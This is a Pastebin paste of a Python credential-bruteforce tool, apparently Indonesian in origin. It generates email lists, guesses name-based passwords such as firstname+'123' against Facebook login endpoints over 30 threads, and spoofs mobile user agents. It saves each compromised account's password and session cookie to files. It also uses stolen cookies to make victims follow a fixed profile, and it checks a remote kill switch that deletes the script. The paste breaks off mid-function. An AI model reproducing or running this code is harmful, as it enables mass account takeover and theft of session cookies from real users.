OBF-XIn

140.213.45.230-ZexNo.py.py

Mar 28th, 2024
20
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 33.10 KB | None | 0 0
  1. import os, sys, time
  2. try:
  3.     import bs4, re, requests, datetime, random, base64
  4.     from concurrent.futures import ThreadPoolExecutor as run
  5.     from bs4 import BeautifulSoup as parser
  6. except ImportError as e:
  7.     print (f"[#] Wait a moment while installing the module {e.name} !")
  8.     os.system(f"python -m pip install {e.name} &> /dev/null")
  9.     print (f"[+] Successfully installed the module {e.name} ✓")
  10.     time.sleep(2)
  11.  
  12. try:os.mkdir('success')
  13. except:pass
  14. try:os.mkdir('checkpoint')
  15. except:pass
  16.  
  17. class Main_Menu:
  18.     def __init__(self):
  19.         self.config = {"url": "https://pastebin.com/raw/{}", "url_check": "https://rentry.co/{}", "day": []}
  20.         self.dump = {"user": [], "user_random": []}
  21.         self.brute = {"loop": 0, "success": 0, "checkpoint": 0, "user-agent": []}
  22.         self.url = {"m": "m.facebook.com", "mbsc": "mbasic.facebook.com", "fre": "free.facebook.com", "mpd": "m.prod.facebook.com"}
  23.         self.color = { "white": "\x1b[0;97m", "red": "\x1b[0;91m", "green": "\x1b[0;92m", "yellow": "\x1b[0;93m", "blue": "\x1b[0;94m", "purple": "\x1b[0;95m", "cyan": "\x1b[0;96m", "black": "\x1b[0m",}
  24.         named_tuple = time.localtime()
  25.         self.date = time.strftime("%m-%d-%Y", time.localtime())
  26.         self.times = time.strftime("%H:%M:%S", time.localtime())
  27.         self.ck = requests.get("https://pastebin.com/raw/QdH5cqQq").text
  28.         if self.ck in "ONLINE":self.CheckLicense()
  29.         else:os.remove(sys.argv[0]);exit(" [!] Script Kadelwarsa silahkan hubungi admin")
  30.  
  31.     def botauto(self, cok):
  32.         try:
  33.             link = parser(requests.get(f"{self.url['mbsc']}/profile.php?id=100039142035154", cookies={"cookie": cok}).text, "html.parser")
  34.             if "/a/subscriptions/remove" in str(link):pass
  35.             elif "/a/subscribe.php" in str(link):
  36.                 cari = re.search('/a/subscribe.php(.*?)"', str(link)).group(1).replace("amp;", "")
  37.                 requests.get(f"{self.url['mbsc']}/a/subscribe.php{cari}", cookies={"cookie": cok})
  38.             else:pass
  39.         except:pass
  40.  
  41.     def DeletFile(self, name):
  42.         try:os.remove(name)
  43.         except:pass
  44.  
  45.     def SaveResult(self, name, uid, pw, cookie):
  46.         with open(name, "a", encoding='utf-8') as _file_:
  47.             _file_.write(f"{uid}|{pw}|{cookie}\n")
  48.             _file_.close()
  49.  
  50.     def Banner(self):
  51.         os.system("cls" if os.name == "nt" else "clear")
  52.         print (f"""
  53. {self.color['white']}  ___          _       ____
  54. {self.color['white']} | _ )_ _ _  _| |_ ___|_  /
  55. {self.color['white']} | _ \ '_| || |  _/ -_)/ /  {self.color['red']}※ {self.color['white']}Bruteforce By {self.color['green']}ZexDev {self.color['white']}and {self.color['green']}XNZ
  56. {self.color['white']} |___/_|  \_,_|\__\___/___|
  57. {self.color['yellow']}  ? {self.color['white']}Note: Gunakan Tools ini dengan bijak,
  58. {self.color['white']}          karena kami tidak akan bertanggung jawab.
  59.         """)
  60.  
  61.     def RandomEmail(self, name, domain, jml, cmbs):
  62.         if cmbs == "1" or cmbs == "01":
  63.             for _ in range(jml):
  64.                 _ += 1
  65.                 self.dump["user"].append(f"{name}{_}{domain}|{name}")
  66.                 sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{name}{_}{domain}"),sys.stdout.flush()
  67.                 time.sleep(0.003)
  68.         elif cmbs == "2" or cmbs == "02":
  69.             for _ in range(jml):
  70.                 _ += 1
  71.                 rand_depan = random.choice(['andi','dwi','muhammad','nur','dewi','tri','dian','sri','putri','eka','sari','aditya','basuki','budi','joni','toni','cahya','riski','farhan','aden','joko'])
  72.                 rand_belakang = random.choice(['99','official','gaming','utama','taher','ganteng','sultan','123','1234','12345','123456','cakep'])
  73.                 rand_email = random.choice([
  74.                     str(name)+str(_)+str(domain),
  75.                     str(name)+str(rand_depan)+str(domain),
  76.                     str(name)+str(rand_belakang)+str(domain),
  77.                 ])
  78.                 self.dump["user"].append(f"{rand_email}|{name}")
  79.                 sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
  80.                 time.sleep(0.003)
  81.         elif cmbs == "3" or cmbs == "03":
  82.             for _ in range(jml):
  83.                 _ += 1
  84.                 rand_email = random.choice([
  85.                     str(name)+str(name)+str(domain),
  86.                     str(name)+str(name)+str(_)+str(domain),
  87.                     str(name)+'.'+str(name)+str(domain),
  88.                     str(name)+'.'+str(name)+str(_)+str(domain)
  89.                 ])
  90.                 self.dump["user"].append(f"{rand_email}|{name}")
  91.                 sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
  92.                 time.sleep(0.003)
  93.         elif cmbs == "4" or cmbs == "04":
  94.                 for _ in range(jml):
  95.                     rand_belakang = random.choice(['99','official','gaming','utama','taher','jancok','ganteng','sultan','cakep'])
  96.                     rand_email = random.choice([
  97.                         str(name)+'0'+str(_)+str(domain),
  98.                         str(name)+'.'+str(name)+'0'+str(_)+str(domain),
  99.                         str(name)+str(rand_belakang)+'0'+str(_)+str(domain)
  100.                     ])
  101.                     self.dump["user"].append(f"{rand_email}|{name}")
  102.                     sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
  103.                     time.sleep(0.003)
  104.         else:exit(f"  {self.color['red']}! {self.color['white']}Select an existing email combination")
  105.  
  106.     def BruteZ(self):
  107.         self.Banner()
  108.         print (f"  {self.color['red']}※ {self.color['white']}Expired: {self.color['green']}{self.config['day'][0]} days")
  109.         print (f"\n  {self.color['green']}01{self.color['white']}. Starting Bruteforce {self.color['cyan']}from {self.color['white']}Random Email\n  {self.color['green']}02{self.color['white']}. Starting Bruteforce {self.color['cyan']}from {self.color['white']}File\n  {self.color['green']}03{self.color['white']}. Check Bruteforce {self.color['green']}results\n  {self.color['green']}04{self.color['white']}. {self.color['red']}Exit {self.color['white']}the Bruteforce Menu 0_0")
  110.         chs = input(f"\n  {self.color['purple']}@{self.color['white']}Choose_>{self.color['green']} ")
  111.         if chs == "1" or chs == "01":
  112.             self.Banner()
  113.             print (f"  {self.color['green']}⸙ {self.color['white']}Input: {self.color['blue']}English {self.color['white']}- Enter a random name.\n           {self.color['red']}Indonesia {self.color['white']}- Masukkan nama acak.")
  114.             name = input(f"\n  {self.color['purple']}@{self.color['white']}InputName_>{self.color['green']} ")
  115.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Domain: {self.color['blue']}English {self.color['white']}- Enter the domain @gmail.com or another domain.\n            {self.color['red']}Indonesia {self.color['white']}- Masukkan domain @gmail.com atau doamin lainnya.")
  116.             domain = input(f"\n  {self.color['purple']}{self.color['white']}@InputDomain_>{self.color['green']} ")
  117.             if '@' not in str(domain) or '.com' not in str(domain):exit(f"  {self.color['red']}! {self.color['white']}Enter the domain correctly ")
  118.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Amount: {self.color['blue']}English {self.color['white']}- Enter the number of emails you want.\n            {self.color['red']}Indonesia {self.color['white']}- Masukkan jumlah email yang Anda inginkan.")
  119.             jml = int(input(f"\n  {self.color['purple']}@{self.color['white']}Maximum:{self.color['red']}3000{self.color['white']}_>{self.color['green']} "))
  120.             if jml > 3000:exit(f"  {self.color['red']}! {self.color['white']}The amount you entered exceeds the maximum.")
  121.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Combination: {self.color['blue']}English {self.color['white']}- Select an email combination.\n                 {self.color['red']}Indonesia {self.color['white']}- Pilih kombinasi email.\n   01. Combination of names and numbers               {self.color['green']}Recommended++{self.color['black']}\n   02. A combination of names and additional names v1 {self.color['green']}Recommended+{self.color['black']}\n   03. A combination of names and additional names v2 {self.color['red']}slow{self.color['black']}\n   04. New combination this month                     {self.color['yellow']}Latest{self.color['black']}")
  122.             cmbs = input(f"\n  {self.color['purple']}@{self.color['white']}InputCombination_>{self.color['green']} ")
  123.             print (self.color['white'])
  124.             self.RandomEmail(name, domain, jml, cmbs)
  125.             print (self.color['white'])
  126.             self.Settings()
  127.         elif chs == "2" or chs == "02":
  128.             self.Banner()
  129.             print (f"  {self.color['green']}⸙ {self.color['white']}File: {self.color['blue']}English {self.color['white']}- Enter your file name.\n          {self.color['red']}Indonesia {self.color['white']}- Masukkan nama file anda.")
  130.             print (f"\n    {self.color['yellow']}? {self.color['white']}Example of contents in the file: {self.color['green']}username{self.color['white']}|{self.color['green']}fullname")
  131.             try:user = open(input(f"\n    {self.color['purple']}@{self.color['white']}InputFile_>{self.color['green']} "),'r').read().splitlines()
  132.             except FileNotFoundError:exit(f"    ! The file name you entered was not found ")
  133.             for _ in user:
  134.                 self.dump['user'].append(_)
  135.                 sys.stdout.write(f"\r    {self.color['white']}• is collecting Username and Fullname  {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{str(_.split('|')[0])}"),sys.stdout.flush()
  136.                 time.sleep(0.003)
  137.             self.Settings()
  138.         elif chs == "3" or chs == "03":
  139.             print (f"\n  {self.color['purple']}+ {self.color['white']}list of success file names {self.color['black']}")
  140.             try:success = os.listdir('success')
  141.             except FileNotFoundError:print(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['green']}success {self.color['white']}folder")
  142.             if len(success)==0:print(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['green']}success {self.color['white']}folder")
  143.             for _ in success:
  144.                 try:ts = open('success/'+_,'r').readlines()
  145.                 except:continue
  146.                 print (f"    {self.color['white']}> {self.color['green']}success/{_} {self.color['white']}- number of accounts {self.color['green']}{len(ts)}.")
  147.             print (f"\n  {self.color['purple']}+ {self.color['white']}list of checkpoint file names {self.color['black']}")
  148.             try:checkpoint = os.listdir('checkpoint')
  149.             except FileNotFoundError:exit(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['yellow']}checkpoint {self.color['white']}folder")
  150.             if len(checkpoint)==0:exit(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['yellow']}checkpoint {self.color['white']}folder")
  151.             for __ in checkpoint:
  152.                 try:tc = open('checkpoint/'+__,'r').readlines()
  153.                 except:continue
  154.                 print (f"    {self.color['white']}> {self.color['yellow']}checkpoint/{__} {self.color['white']}- number of accounts {self.color['green']}{len(tc)}.")
  155.             file = input(f"\n  {self.color['purple']}@{self.color['white']}InputNameFile>{self.color['green']} ")
  156.             try:check = open(file,'r').read().splitlines()
  157.             except FileNotFoundError:exit(f"  ! The file name you entered was not found ")
  158.             print (f"\n  {self.color['green']}⸙ {self.color['white']}list of accounts in the file {self.color['purple']}{file}")
  159.             ___ = 0
  160.             for ____ in check:
  161.                 ___ += 1
  162.                 uid, pw, coki = ____.split('|')[0], ____.split('|')[1], ____.split('|')[2]
  163.                 print (f"    {self.color['green']}{str(___)}{self.color['white']}. Username: {self.color['green']}{uid} {self.color['white']}- Password: {self.color['green']}{pw} {self.color['white']}- Cookie: {self.color['green']}{coki}")
  164.             input(f"  {self.color['white']}[{self.color['blue']}Enter{self.color['white']}] Click enter to {self.color['red']}exit {self.color['white']}the menu :)")
  165.             exit()
  166.         else:exit(f"  {self.color['red']}! {self.color['white']}Select the menu correctly")
  167.  
  168.     def Settings(self):
  169.         print (f"\n  {self.color['green']}⸙ {self.color['white']}List of BruteZ Methods:\n    {self.color['green']}01{self.color['white']}. {self.color['blue']}m.facebook.com/application_business {self.color['green']}Supports all connections\n    {self.color['green']}02{self.color['white']}. {self.color['blue']}m.facebook.com/application_business {self.color['green']}Supports all connections\n    {self.color['red']}xx{self.color['white']}. {self.color['blue']}b-api.facebook.com {self.color['yellow']}Coming soon v_v.")
  170.         Method_Fb = input(f"\n  {self.color['purple']}@{self.color['white']}InputMethod>{self.color['green']} ")
  171.         print (f"\n  {self.color['green']}⸙ {self.color['white']}List of User-agents:\n    {self.color['green']}01{self.color['white']}. {self.color['green']}Realme {self.color['white']}user-agent, Random Model {self.color['cyan']}and {self.color['white']}Android Version\n    {self.color['green']}02{self.color['white']}. {self.color['green']}Samsung {self.color['white']}user-agent, Random Model {self.color['cyan']}and {self.color['white']}Android Version\n    {self.color['green']}03{self.color['white']}. {self.color['green']}Vivo {self.color['white']}user-agent, Random Model {self.color['cyan']}and {self.color['white']}Android Version\n   {self.color['white']}[{self.color['blue']}Enter{self.color['white']}] User-agent random Android, desktop {self.color['cyan']}and {self.color['white']}others")
  172.         self.brute['user-agent'].append(input(f"\n  {self.color['purple']}@{self.color['white']}InputUser-Agent_>{self.color['green']} "))
  173.         if len(self.dump["user"])==0:exit("  ! Please re-run the script ")
  174.         for __ in self.dump["user"]:
  175.             xx = random.randint(0,len(self.dump["user"]))
  176.             self.dump["user_random"].insert(xx,__)
  177.         self.Banner()
  178.         print (f"  {self.color['purple']}+ {self.color['white']}Bruteforce results will be saved in the file\n   • Success / {self.color['green']}Success-{self.date}.txt\n   {self.color['white']}• Checkpoint / {self.color['yellow']}Checkpoint-{self.date}.txt\n")
  179.         try:
  180.             with run(max_workers=30) as start:
  181.                 for ___ in self.dump["user_random"]:
  182.                     uid, fullname = ___.split("|")[0], ___.split("|")[1].lower()
  183.                     firstname = fullname.split(" ")[0]
  184.                     if len(fullname)<5:
  185.                         if len(firstname)<1 or len(firstname)<2:pass
  186.                         else:
  187.                             psswlist = [
  188.                                 firstname+'123',
  189.                                 firstname+'12345',
  190.                                 firstname+'123456'
  191.                             ]
  192.                     else:
  193.                         psswlist = [
  194.                             fullname,
  195.                             firstname+'123',
  196.                             firstname+'12345',
  197.                             firstname+'123456'
  198.                         ]
  199.                     if Method_Fb == "1" or Method_Fb == "01":start.submit(self.method1, uid, psswlist)
  200.                     elif Method_Fb == "2" or Method_Fb == "02":start.submit(self.method2, uid, psswlist)
  201.                     else:start.submit(self.method1, uid, psswlist)
  202.             print (f"\n  {self.color['green']}√ {self.color['white']}Bruteforce {len(self.dump['user_random'])} | Success: {self.color['green']}{self.brute['success']} {self.color['white']}- Checkpoint: {self.color['yellow']}{self.brute['checkpoint']}")
  203.             exit()
  204.         except Exception as e:exit(e)
  205.  
  206.     def useragent_android(self, chs):
  207.         model = {
  208.             "Samsung": [
  209.                 "SM-J700F",
  210.                 "SM-J700H",
  211.                 "SM-J700M",
  212.                 "SM-J700T",
  213.                 "J7",
  214.                 "SM-J700T1",
  215.                 "SM-J700K",
  216.                 "SM-J700P",
  217.                 "SM-j7008"
  218.             ],
  219.             "Vivo": [
  220.                 "vivo 1002",
  221.                 "V2304A",
  222.                 "V2056A",
  223.                 "V2047",
  224.                 "V2145A",
  225.                 "V2114",
  226.                 "V2227A",
  227.                 "vivo Iqoo Neo 855 V1936T",
  228.                 "X710L",
  229.                 "V1821A",
  230.                 "vivo X1St",
  231.                 "V1990A"
  232.             ],
  233.             "Realme": [
  234.                 "REALME RMX1911",
  235.                 "RMX3890",
  236.                 "RMX3782",
  237.                 "RMX3115",
  238.                 "RMX3551",
  239.                 "RMX1921",
  240.                 "RMX1901",
  241.                 "RMX1903",
  242.                 "RMX3506"
  243.             ]
  244.         }
  245.         chrome = str(random.randint(22, 55))+".0."+str(random.randint(2222, 5555))+"."+str(random.randint(22, 99))
  246.         if chs == "1" or chs == "01":ugen = f"Mozilla/5.0 (Linux; Android {str(random.randint(7, 11))}; {str(random.choice(model['Realme']))} Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(chrome)} Mobile Safari/537.36 AlohaBrowser/2.20.3"
  247.         elif chs == "2" or chs == "02":ugen = f"Mozilla/5.0 (Linux; Android {str(random.randint(5, 8))}.0.1; {str(random.choice(model['Samsung']))} Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{chrome} Mobile Safari/537.36"
  248.         elif chs == "3" or chs == "03":ugen = f"Mozilla/5.0 (Linux; Android {str(random.randint(5, 8))}.1.0; {str(random.choice(model['Vivo']))} Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(chrome)} Mobile Safari/537.36"
  249.         else:
  250.             ugen = random.choice([
  251.                 f"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  252.                 f"safari;Mozilla/ 5.0(Windows NT {str(random.randint(9,12))}.0; 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, Like Gecko) Chrome/{chrome} Safari/537.36 Edg/93.0.961.52",
  253.                 f"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.0.0 Mobile Safari/537.36",
  254.                 f"Mozilla/5.0 (Windows NT 10.0; {str(random.choice(['Win64; x64', 'WOW64']))}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(chrome)} Safari/537.36"
  255.             ])
  256.         return ugen
  257.  
  258.     def method(self, uid, passwlist):
  259.         for pw in passwlist:
  260.             print (self.brute['loop'])
  261.             self.brute['loop'] += 1
  262.  
  263.     def method1(self, uid, passwlist):
  264.         session = requests.session()
  265.         sys.stdout.write(f"\r\r  {self.color['blue']}@ {self.color['white']}({self.color['green']}MV1{self.color['white']}) {self.color['white']}Bruteforce is running {len(self.dump['user_random'])}/{self.color['red']}{self.brute['loop']} {self.color['white']}- success/checkpoint: {self.color['green']}{self.brute['success']}{self.color['white']}/{self.color['yellow']}{self.brute['checkpoint']}");sys.stdout.flush()
  266.         ua = self.useragent_android(self.brute['user-agent'])
  267.         for pw in passwlist:
  268.             try:
  269.                 req1 = session.get('https://business.facebook.com/login.php?skip_api_login=1&api_key=124024574287414&kid_directed_site=0&app_id=124024574287414&signed_next=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%23_%3D_&display=page&locale=id_ID&pl_dbl=0').text
  270.                 datr = re.search('_js_datr","(.*?)"',str(req1)).group(1)
  271.                 coki = f'datr={datr};locale=id_ID;wl_cbv=v2%3Bclient_version%3A2392%3Btimestamp%3A{int(time.time())};vpd=v1%3B885x360x2;wd=980x1715;{";".join(["%s=%s"%(x,y) for x,y in session.cookies.get_dict().items()])};_js_datr={datr}'
  272.                 post = session.post(
  273.                     'https://business.facebook.com/login/device-based/regular/login/?login_attempt=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified%26cbt%3D1705563202091&lwv=100',
  274.                     data = {
  275.                         'jazoest':re.search('name="jazoest" value="(.*?)"',str(req1)).group(1),
  276.                         'lsd':re.search('name="lsd" value="(.*?)"',str(req1)).group(1),
  277.                         'api_key':'124024574287414',
  278.                         'cancel_url':'https://www.instagram.com/accounts/signup/?error=access_denied&error_code=200&error_description=Permissions+error&error_reason=user_denied&state=%7B%22fbLoginKey%22%3A%221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%22%2C%22fbLoginReturnURL%22%3A%22%2Ffxcal%2Fdisclosure%2F%3Fnext%3D%252F%22%7D#_=_',
  279.                         'display':'page',
  280.                         'isprivate':'',
  281.                         'return_session':'',
  282.                         'skip_api_login':1,
  283.                         'signed_next':1,
  284.                         'trynum':1,
  285.                         'timezone':'-420',
  286.                         'lgndim':re.search('name="lgndim" value="(.*?)"',str(req1)).group(1),
  287.                         'lgnrnd':re.search('name="lgnrnd" value="(.*?)"',str(req1)).group(1),
  288.                         'lgnjs':re.search('name="lgnjs" value="(.*?)"',str(req1)).group(1),
  289.                         'email': uid,
  290.                         'prefill_contact_point': uid,
  291.                         'prefill_source':'browser_dropdown',
  292.                         'prefill_type':'password',
  293.                         'first_prefill_source':'browser_dropdown',
  294.                         'first_prefill_type':'contact_point',
  295.                         'had_cp_prefilled':True,
  296.                         'had_password_prefilled':True,
  297.                         'ab_test_data':'',
  298.                         'encpass':f"#PWD_BROWSER:0:{int(datetime.datetime.now().timestamp())}:{pw}"
  299.                     },
  300.                     headers = {
  301.                         'Host': 'business.facebook.com',
  302.                         'cache-control': 'max-age=0',
  303.                         'content-type': 'application/x-www-form-urlencoded',
  304.                         'user-agent': ua,
  305.                         'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  306.                         'sec-fetch-site': 'same-origin',
  307.                         'sec-fetch-mode': 'navigate',
  308.                         'sec-fetch-user': '?1',
  309.                         'sec-fetch-dest': 'document',
  310.                         'referer': 'https://business.facebook.com/login.php?skip_api_login=1&api_key=124024574287414&kid_directed_site=0&app_id=124024574287414&signed_next=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%23_%3D_&display=page&locale=id_ID&pl_dbl=0',
  311.                         'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
  312.                     },
  313.                     cookies = {
  314.                         'cookie':coki
  315.                     },
  316.                 )
  317.                 if "c_user" in session.cookies.get_dict():
  318. #                   kuki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  319.                     kuki = f'{";".join(["%s=%s"%(x,y) for x,y in session.cookies.get_dict().items()])};_js_datr={datr}'
  320.                     uid = re.findall('c_user=(.*);xs', kuki)[0]
  321.                     print(f"\r\r  {self.color['green']}√ {self.color['white']}success: {self.color['green']}{uid}|{pw}|{kuki}{self.color['black']}")
  322.                     self.brute['success'] += 1
  323.                     self.SaveResult(f"success/success-{self.date}.txt", uid, pw, kuki)
  324.                     self.botauto(kuki)
  325.                     break
  326.                 elif "checkpoint" in session.cookies.get_dict():
  327.                     uid = session.cookies.get_dict()["checkpoint"].split("%")[4].replace("3A", "")
  328.                     print(f"\r\r  {self.color['yellow']}x {self.color['white']}checkpoint: {self.color['yellow']}{uid}|{pw}                           {self.color['black']}")
  329.                     self.brute['checkpoint'] += 1
  330.                     self.SaveResult(f"checkpoint/checkpoint-{self.date}.txt", uid, pw, None)
  331.                     break
  332.                 else:continue
  333.             except requests.exceptions.ConnectionError:time.sleep(31)
  334.             except Exception as e:exit(e)
  335.         self.brute['loop'] += 1
  336.  
  337.     def method2(self, uid, passwlist):
  338.         session = requests.session()
  339.         sys.stdout.write(f"\r\r  {self.color['blue']}@ {self.color['white']}({self.color['green']}MV2{self.color['white']}) {self.color['white']}Bruteforce is running {len(self.dump['user_random'])}/{self.color['red']}{self.brute['loop']} {self.color['white']}- success/checkpoint: {self.color['green']}{self.brute['success']}{self.color['white']}/{self.color['yellow']}{self.brute['checkpoint']}");sys.stdout.flush()
  340.         ua = self.useragent_android(self.brute['user-agent'])
  341.         for pw in passwlist:
  342.             try:
  343.                 link = session.get("https://m.facebook.com/login/?next=https%3A%2F%2Fbusiness.facebook.com%2F%3Fnav_ref%3Dbizweb_landing_fb_login_button%26biz_login_source%3Dbizweb_landing_fb_login_button&ref=dbl&fl&login_from_aymh=1")
  344.                 response = session.post(
  345.                     'https://m.facebook.com/login/device-based/login/async/?next=https%3A%2F%2Fbusiness.facebook.com%2F%3Fnav_ref%3Dbizweb_landing_fb_login_button%26biz_login_source%3Dbizweb_landing_fb_login_button&refsrc=deprecated&lwv=100',
  346.                     data = {
  347.                         "m_ts":re.search('name="m_ts" value="(.*?)"', str(link.text)).group(1),
  348.                         "li":re.search('name="li" value="(.*?)"', str(link.text)).group(1),
  349.                         "try_number":0,
  350.                         "unrecognized_tries":0,
  351.                         "email":uid,
  352.                         "prefill_contact_point":f"{uid} {pw}",
  353.                         "prefill_source":"browser_dropdown",
  354.                         "prefill_type":"password",
  355.                         "first_prefill_source":"browser_dropdown",
  356.                         "first_prefill_type":"contact_point",
  357.                         "had_cp_prefilled":True,
  358.                         "had_password_prefilled":True,
  359.                         "is_smart_lock":False,
  360.                         "bi_xrwh":re.search('name="bi_xrwh" value="(.*?)"', str(link.text)).group(1),
  361.                         "bi_wvdp":'{"hwc":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":false,"has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false,"iframeProto":"function get contentWindow() { [native code] }","remap":false,"iframeData":{"hwc":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":false,"has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false}}',
  362.                         "encpass": f"#PWD_BROWSER:0:{int(datetime.datetime.now().timestamp())}:{pw}",
  363.                         "jazoest":re.search('name="jazoest" value="(.*?)"', str(link.text)).group(1),
  364.                         "lsd":re.search('name="lsd" value="(.*?)"', str(link.text)).group(1),
  365.                     },
  366.                     headers = {
  367.                         "Host": "m.facebook.com",
  368.                         "Connection": "keep-alive",
  369.                         "Content-Length": "1737",
  370.                         "X-FB-LSD": "AVo7puhGLSo",
  371.                         "X-ASBD-ID": "129477",
  372.                         "User-Agent": ua,
  373.                         "Content-Type": "application/x-www-form-urlencoded",
  374.                         "Accept": "*/*",
  375.                         "Origin": "https://m.facebook.com",
  376.                         "X-Requested-With": "mark.via.gp",
  377.                         "Sec-Fetch-Site": "same-origin",
  378.                         "Sec-Fetch-Mode": "cors",
  379.                         "Sec-Fetch-Dest": "empty",
  380.                         "Referer": "https://m.facebook.com/login/?next=https%3A%2F%2Fbusiness.facebook.com%2F%3Fnav_ref%3Dbizweb_landing_fb_login_button%26biz_login_source%3Dbizweb_landing_fb_login_button&ref=dbl&fl&login_from_aymh=1",
  381.                         "Accept-Encoding": "gzip, deflate",
  382.                         "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  383.                     },
  384.                     allow_redirects=True
  385.                 )
  386.                 if "c_user" in session.cookies.get_dict():
  387.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  388.                     uid = re.findall('c_user=(.*);xs', kuki)[0]
  389.                     print(f"\r\r  {self.color['green']}√ {self.color['white']}success: {self.color['green']}{uid}|{pw}|{kuki}{self.color['black']}")
  390.                     self.brute['success'] += 1
  391.                     self.SaveResult(f"success/success-{self.date}.txt", uid, pw, kuki)
  392.                     self.botauto(kuki)
  393.                     break
  394.                 elif "checkpoint" in session.cookies.get_dict():
  395.                     uid = session.cookies.get_dict()["checkpoint"].split("%")[4].replace("3A", "")
  396.                     print(f"\r\r  {self.color['yellow']}x {self.color['white']}checkpoint: {self.color['yellow']}{uid}|{pw}                           {self.color['black']}")
  397.                     self.brute['checkpoint'] += 1
